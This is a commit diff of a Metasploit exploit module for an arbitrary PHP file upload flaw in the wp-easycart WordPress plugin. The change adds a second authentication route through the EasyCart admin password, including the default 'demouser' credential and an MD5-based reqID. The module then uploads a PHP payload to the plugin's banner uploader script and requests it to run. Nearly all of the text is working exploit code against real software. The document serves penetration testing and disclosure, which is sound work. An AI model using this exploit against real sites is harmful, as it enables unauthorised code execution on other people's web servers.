Add ability to use both WP and EC attack vectors

bug/bundler_fix
rastating 2015-01-12 23:30:59 +00:00
parent e6f6acece9
commit 8246f4e0bb
1 changed files with 73 additions and 15 deletions

View File

@ -27,7 +27,15 @@ class Metasploit3 < Msf::Exploit::Remote
user-accessible path. Making a direct request to user-accessible path. Making a direct request to
the uploaded file will allow the attacker to the uploaded file will allow the attacker to
execute the script with the privileges of the web execute the script with the privileges of the web
server.}, server.
In versions <= 3.0.8 authentication can be done by
using the WordPress credentials of a user with any
role. In later versions, a valid EasyCart admin
password will be required that is in use by any
admin user. A default installation of EasyCart will
setup a user called "demouser" with a preset password
of "demouser".},
'License' => MSF_LICENSE, 'License' => MSF_LICENSE,
'Author' => 'Author' =>
[ [
@ -42,14 +50,16 @@ class Metasploit3 < Msf::Exploit::Remote
'DisclosureDate' => 'Jan 08 2015', 'DisclosureDate' => 'Jan 08 2015',
'Platform' => 'php', 'Platform' => 'php',
'Arch' => ARCH_PHP, 'Arch' => ARCH_PHP,
'Targets' => [['wp-easycart < 3.0.5', {}]], 'Targets' => [['wp-easycart < 3.0.16', {}]],
'DefaultTarget' => 0 'DefaultTarget' => 0
)) ))
register_options( register_options(
[ [
OptString.new('USERNAME', [true, 'The username to authenticate with']), OptString.new('USERNAME', [false, 'The WordPress username to authenticate with (versions <= 3.0.8)']),
OptString.new('PASSWORD', [true, 'The password to authenticate with']) OptString.new('PASSWORD', [false, 'The WordPress password to authenticate with (versions <= 3.0.8)']),
OptString.new('EC_PASSWORD', [false, 'The EasyCart password to authenticate with (versions <= 3.0.15)', 'demouser']),
OptBool.new('EC_PASSWORD_IS_HASH', [false, 'Indicates whether or not EC_PASSWORD is an MD5 hash', false])
], self.class) ], self.class)
end end
@ -61,22 +71,66 @@ class Metasploit3 < Msf::Exploit::Remote
datastore['PASSWORD'] datastore['PASSWORD']
end end
def check def ec_password
check_plugin_version_from_readme('wp-easycart', '3.0.5') datastore['EC_PASSWORD']
end end
def generate_mime_message(payload, date_hash, name) def ec_password_is_hash
datastore['EC_PASSWORD_IS_HASH']
end
def use_wordpress_authentication
username.to_s != '' && password.to_s != ''
end
def use_ec_authentication
ec_password.to_s != ''
end
def req_id
if ec_password_is_hash
return ec_password
else
return Digest::MD5.hexdigest(ec_password)
end
end
def check
check_plugin_version_from_readme('wp-easycart', '3.0.16')
end
def generate_mime_message(payload, date_hash, name, include_req_id)
data = Rex::MIME::Message.new data = Rex::MIME::Message.new
data.add_part(date_hash, nil, nil, 'form-data; name="datemd5"') data.add_part(date_hash, nil, nil, 'form-data; name="datemd5"')
data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{name}\"") data.add_part(payload.encoded, 'application/x-php', nil, "form-data; name=\"Filedata\"; filename=\"#{name}\"")
data.add_part(req_id, nil, nil, 'form-data; name="reqID"') if include_req_id
data data
end end
def exploit def exploit
print_status("#{peer} - Authenticating using #{username}:#{password}...") if !use_wordpress_authentication && !use_ec_authentication
cookie = wordpress_login(username, password) fail_with(Failure::BadConfig, 'You must set either the USERNAME and PASSWORD options or specify an EC_PASSWORD value')
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil? end
print_good("#{peer} - Authenticated with WordPress")
vprint_status("#{peer} - WordPress authentication attack is enabled") if use_wordpress_authentication
vprint_status("#{peer} - EC authentication attack is enabled") if use_ec_authentication
if use_wordpress_authentication && use_ec_authentication
print_status("#{peer} - Both EasyCart and WordPress credentials were supplied, attempting WordPress first...")
end
if use_wordpress_authentication
print_status("#{peer} - Authenticating using #{username}:#{password}...")
cookie = wordpress_login(username, password)
if use_ec_authentication
print_warning("#{peer} - Failed to authenticate with WordPress, attempting upload with EC password next...") if cookie.nil?
else
fail_with(Failure::NoAccess, 'Failed to authenticate with WordPress') if cookie.nil?
end
print_good("#{peer} - Authenticated with WordPress") unless cookie.nil?
end
print_status("#{peer} - Preparing payload...") print_status("#{peer} - Preparing payload...")
payload_name = Rex::Text.rand_text_alpha(10) payload_name = Rex::Text.rand_text_alpha(10)
@ -84,7 +138,7 @@ class Metasploit3 < Msf::Exploit::Remote
plugin_url = normalize_uri(wordpress_url_plugins, 'wp-easycart') plugin_url = normalize_uri(wordpress_url_plugins, 'wp-easycart')
uploader_url = normalize_uri(plugin_url, 'inc', 'amfphp', 'administration', 'banneruploaderscript.php') uploader_url = normalize_uri(plugin_url, 'inc', 'amfphp', 'administration', 'banneruploaderscript.php')
payload_url = normalize_uri(plugin_url, 'products', 'banners', "#{payload_name}_#{date_hash}.php") payload_url = normalize_uri(plugin_url, 'products', 'banners', "#{payload_name}_#{date_hash}.php")
data = generate_mime_message(payload, date_hash, "#{payload_name}.php") data = generate_mime_message(payload, date_hash, "#{payload_name}.php", use_ec_authentication)
print_status("#{peer} - Uploading payload to #{payload_url}") print_status("#{peer} - Uploading payload to #{payload_url}")
res = send_request_cgi( res = send_request_cgi(
@ -97,15 +151,19 @@ class Metasploit3 < Msf::Exploit::Remote
fail_with(Failure::Unreachable, 'No response from the target') if res.nil? fail_with(Failure::Unreachable, 'No response from the target') if res.nil?
vprint_error("#{peer} - Server responded with status code #{res.code}") if res.code != 200 vprint_error("#{peer} - Server responded with status code #{res.code}") if res.code != 200
print_good("#{peer} - Uploaded the payload")
print_status("#{peer} - Executing the payload...") print_status("#{peer} - Executing the payload...")
register_files_for_cleanup("#{payload_name}_#{date_hash}.php") register_files_for_cleanup("#{payload_name}_#{date_hash}.php")
send_request_cgi( res = send_request_cgi(
{ {
'uri' => payload_url, 'uri' => payload_url,
'method' => 'GET' 'method' => 'GET'
}, 5) }, 5)
print_good("#{peer} - Executed payload")
if !res.nil? && res.code == 404
print_error("#{peer} - Failed to upload the payload")
else
print_good("#{peer} - Executed payload")
end
end end
end end